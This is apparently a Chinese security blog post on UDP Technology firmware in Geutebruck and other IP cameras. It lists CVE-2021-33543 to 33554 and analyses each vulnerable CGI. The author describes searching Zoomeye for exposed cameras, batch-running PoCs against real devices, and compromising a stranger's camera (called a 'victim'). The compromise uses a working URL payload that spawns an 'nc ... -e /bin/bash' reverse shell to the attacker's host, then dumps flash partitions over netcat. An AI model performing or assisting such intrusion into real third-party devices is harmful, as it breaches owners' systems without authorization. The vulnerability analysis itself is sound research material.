对于 UDPt 漏洞的跟踪实践
背景
事件的起源来自于这篇文章:
Randorisec 研究小组又一次在 Geutebruck 的摄像头固件中发掘出了大量漏洞。情况如下:
CGI
Short description
CVE
N/A
Authentication Bypass
CVE-2021-33543
certmngr.cgi
Command injection multiple parameters
CVE-2021-33544
countreport.cgi
Stack Buffer Overflow
CVE-2021-33545
encprofile.cgi
Stack Buffer Overflow
CVE-2021-33546
evnprofile.cgi
Stack Buffer Overflow
CVE-2021-33547
factory.cgi
Command injection in preserve parameter
CVE-2021-33548
instantrec.cgi
Stack Buffer Overflow
CVE-2021-33549
language.cgi
Command injection in date parameter
CVE-2021-33550
oem.cgi
Command injection in environment.lang parameter
CVE-2021-33551
simple_reclistjs.cgi
Command injection in date parameter
CVE-2021-33552
testcmd.cgi
Command injection in command parameter
CVE-2021-33553
tmpapp.cgi
Command injection in appfile.filename parameter
CVE-2021-33554
于是便就这这次事件,实践一下 IoT 利用一条龙,作为基础知识的补充。
固件获取
官方下载
UDP technology 公司为许多 IP 摄像机供应商提供固件,当然也包括了本次被审计的设备厂商 Geutebruck。
Randorisec 小组本次的目标是 UDPt 提供给 Geutebruck 的 IP Camera 的最新版本固件1.12.0.27。为了接下来的研究,我们首先需要搞到相应的固件。Randorisec 手中有真实设备,并由此获取到了固件,但我们只能另寻它路了。
首先想到的是从厂商官网下载。于是便去到 Geutebruck 官网,但苦于未能注册成功,没能获取到下载链接。遂转而求于 UDP technology 的官网(毕竟前者设备的固件实际上是后者提供的):https://vcatechnology.com/udp-technology/
在成功的注册与登陆之后,我们可以顺利获取到相应的固件文件:IPN_FW_V1.12.0.25.zip(md5sum: 3ab734d38f58bdf3080948c8caddb698)。解压之后得到 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 。这里就开始感觉不妙——文件是以 .enc 结尾的,这基本意味着固件是被加密的。还是先查看一下文件信息吧:

可以看到 binwalk 分析出其中包含了大量 Zlib 压缩文件格式。但实际上这只是因为分块加密导致 Zlib 压缩格式文件头对应的二进制值恰巧周期性出现。由熵图可以看出固件文件实际上几乎完全由均匀分布的数据组成,这是明显的被加密了的特征。
原本分析的初期思路上,刚迈开脚步就被阻塞在了这里。只得改换方案了。
Search & Hack & Dump
Search
获取特定固件的路径有很多,但最简单的方法已经不好用了。不过既然 Randorisec 告诉了我们这么多漏洞,不如直接使用它们对互联网上的真实设备进行 GetShell?
那么接下来的问题就变成了——我们该如何在互联网上找到满足条件的真实设备进行渗透?这里就要请出诸如 Shodan、Zoomeye、FOFA、Quake 等网络空间测绘搜索引擎了。费了一番精力后我在这里选择了 Zoomeye:https://www.zoomeye.org/ 😎💦

好!接下来就可以……
咦?我得到了一个搜索公网设备的搜索引擎输入框,不过我应该在这里输入什么?😅
诸如 Zoomeye 等网络空间测绘系统,所搜索的服务数据实际上是对应设备的特定端口返回的数据。那不妨先使用本次出场的厂商名 Geutebruck 作为关键词进行搜索。

嗯,的确返回了不少结果,大部分设备也位于德国,这和 Geutebruck 是主供德国的德国厂商这条信息也吻合。挑选其中一个访问一下:

得到的是一个 G-Web 的登陆界面。经 Google 后可以确认 G-Web 的确是 Geutebruck 的IP Camera 的访问界面。
遂使用 Geutebruck 提供的漏洞(具体的漏洞分析放在了文章后面)进行攻击——失败……
可能是该摄像头已升级固件修复了漏洞?在使用脚本批量对于一部分 G-Web 进行 PoC 验证后,无一成功。
——这就比较诡异了,原因也有待考察。不过就眼下来说,难道这条获取固件的路径也被堵上了吗?💢
不,我们还有使用了 UDPt 所提供的固件的其它厂商设备,这使得生机尚存。遂以同样的方式搜索暴露于互联网上的设备,但却收获甚寥。
想来应该是我的搜索姿势有误……变换了几种搜索约束也是收效甚微,到底该以什么特征搜索其它使用了 UDPt 固件的设备呢?owl 帮助我找到了一条 twitter:https://twitter.com/RandoriSec/status/1291723991175102466
这条 twitter 是关于此前 Randorisec 挖掘到的 UDPt 的更早的漏洞。评论区的老哥1给出了又一个网络空间测绘引擎 ONYPHE 中用到的查询语句:category:datascan device.productvendor:Geutebruck device.class:Camera。使用它我们可以精准定位到网络上的 Geutebruck 摄像头,而这条十分好用的查询语句的小缺点便是它用到了需要收费的高级搜索键。叒只得作罢。
好在老哥2给出了免费信息:
Nice ! And 3x more by searching for "/viewer/main.html" (to target other brands)
差点断掉的线索就这样续上了。使用"/viewer/main.html"作为搜索关键词,的确筛选出了大量其它厂商的 UDPt 固件设备。而这些设备的一个特征便是含有webroot/viewer/main.html文件。
Hack
由上一节的信息来搜索,我们顺利挑选了一位受害者:24.xxx.xxx.x:82。先访问下看看:

直接跳转到了 http://24.xxx.xxx.x:82/viewer/main.html。且没有经过任何认证直接给了访问者画面
我们使用 Randorisec 提过的 Nday 历史漏洞进行攻击。对于其中的一个漏洞进行 RCE,构造 Payload 如下:
http://24.xxx.xxx.x:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1%7C=2&()%20%7b%20%3a%3b%7d%3b%20nc%20AA.AAA.AAA.AA:BBBB%20-e%20/bin/bash=1
其中的AA.AAA.AAA.AA:BBBB是我们的攻击机的 IP:port。该 payload 使得远程进行如下代码执行:nc AA.AAA.AAA.AA:BBBB -e /bin/bash。同时在攻击机上监听 BBBB 端口 nc -l BBBB。这样就在我们的攻击机上获取了一个该摄像头的shell。
附另一种 nc 反弹 shell:
Dump
有了shell,下一步就是获取文件系统了。

我们要直接下载文件系统里的文件吗?否。Linux的哲学是“一切皆文件”,那么存放固件的存储设备自然也不例外。先看一下 /dev/ 下都有些啥:
可以注意到其中的 mtd* 设备文件。
MTD(memory technology device内存技术设备)是用于访问memory设备(ROM、flash)的Linux的子系统。 (/dev/mtd): MTD字符驱动程序允许直接访问flash器件,通常用来在flash上创建文件系统,也可以用来直接访问不频繁修改的数据。 (dev/mtdblock): MTD块设备驱动程序可以让flash器件伪装成块设备,实际上它通过把整块的erase block放到ram里面进行访问,然后再更新到flash,用户可以在这个块设备上创建通常的文件系统。
所以说,我们只要把所有的mtd中的数据dump下来,里面肯定有我们想要的东西。
使用 mounts 和 cat /proc/mtd 获取相应的设备信息如下:
我们将所有的 mtd* 设备文件下载下来,使用的依然是万能的 netcat:
由 cat /proc/mtd 的输出我们可以看到 mtd5 对应的是 rootfs。
使用 binwalk 解压后,并没有找到 cgi 文件。发现 webroot 居然是 tmpfs 的 ramdisk。那就直接把 webroot 打包下载下来吧:
最后拼凑出了文件系统样本,并得到了相应的 webroot 中包含的漏洞 cgi 文件。
漏洞分析
手中有了样本,不妨先来进行一波漏洞分析。
Command injection
certmngr.cgi
Command injection multiple parameters
依据交叉引用,定位到如下的 system 函数调用处:
可以看到 system 函数的参数 s 是使用 snprintf 构建的。所构建的参数如下:
这里使用字符串拼接来构造所要执行的命令——若我们能控制此时的格式化字符串参数,就可以命令注入得到RCE了。
所以继续回溯参数传递,发现有两条路径可以直达 main:
而在 main 中,这些参数的最终来源都是 url 中的可以被我们直接控制的请求参数:
多个用户可控的参数就构成了 RCE。
factory.cgi
Command injection in preserve parameter
依据交叉引用定位到 system 函数的调用处,发现全部存在于 main 函数中:
参数可控的位置只有 system(&v16) 处。回溯 v16 的来源,发现是来自于 preserve 参数。preserve 参数可控,故此处产生了一个命令注入。
language.cgi
Command injection in date parameter
由 popen 函数的交叉引用定位到漏洞点:
经过命令拼接后,可见用户可控的 date 参数会在 v5 = popen(v25, "r"); 处造成命令注入。
oem.cgi
Command injection in environment.lang parameter
action 参数为空时,执行 RunSet 函数。RunSet 函数中,会将 environment.lang 参数的值拼接至/usr/sbin/xmlparam -f /usr/www/environment.xml -set web.lang= 后方构成完整命令并执行。这里就出现了命令注入。
simple_reclistjs.cgi
Command injection in date parameter
date 参数中的,直接在 main 函数中出现的字符串拼接导致的命令注入:
testcmd.cgi
Command injection in command parameter
v1 的值由 command 参数传入,并在下方的 popen 处导致命令注入:
向上回溯一级可知,此处的 sub_88E8 函数实际上就是 main 函数:
tmpapp.cgi
Command injection in appfile.filename parameter
此处 appfile.filename 参数传入后用于与 "/var/app/tmp_" 字符串拼接成为完整路径。并在两种不同的执行路径下分别被传入 RunPackage 或 StartApp 函数中:
首先,在 RunPackage 函数中,access(v5, 0) && mkdir(v5, 0x1FFu) 为 0 则对上述完整路径进行 ExtractFile。在 ExtractFile 中则将路径名拼接至 tar xf %s -C %s &> /dev/null命令中。构成命令注入。
类似的,在 StartApp 函数中,路径名会在 snprintf 函数处被拼接导致命令注入:
Stack Overflow
instantrec.cgi
进入 main 函数后我们不难看到,对于 v11 和 v16 两个栈变量使用了不安全的字符串操作函数 strcat。同时向上回溯作为函数参数被写入栈上的 pszOption 和 pszAction 两个变量,发现其来自于用户可控的参数 option 和 action。由于 option 和 action 是可以自定义内容且长度不限的字符串,故此处出现栈溢出漏洞。
encprofile.cgi
栈溢出漏洞,与上一例同理,只不过这次出现在 profile 参数上:
evnprofile.cgi
栈溢出漏洞,与上一例同理,这次依然出现在 profile 参数上:
countreport.cgi
漏洞实践 POC
CVE-2017-5173 ~ CVE-2017-5174
CVE-2021-33543 ~ CVE-2021-33554
鉴权绕过。(--path-as-is参数避免curl自动优化掉url中的../)
最后更新于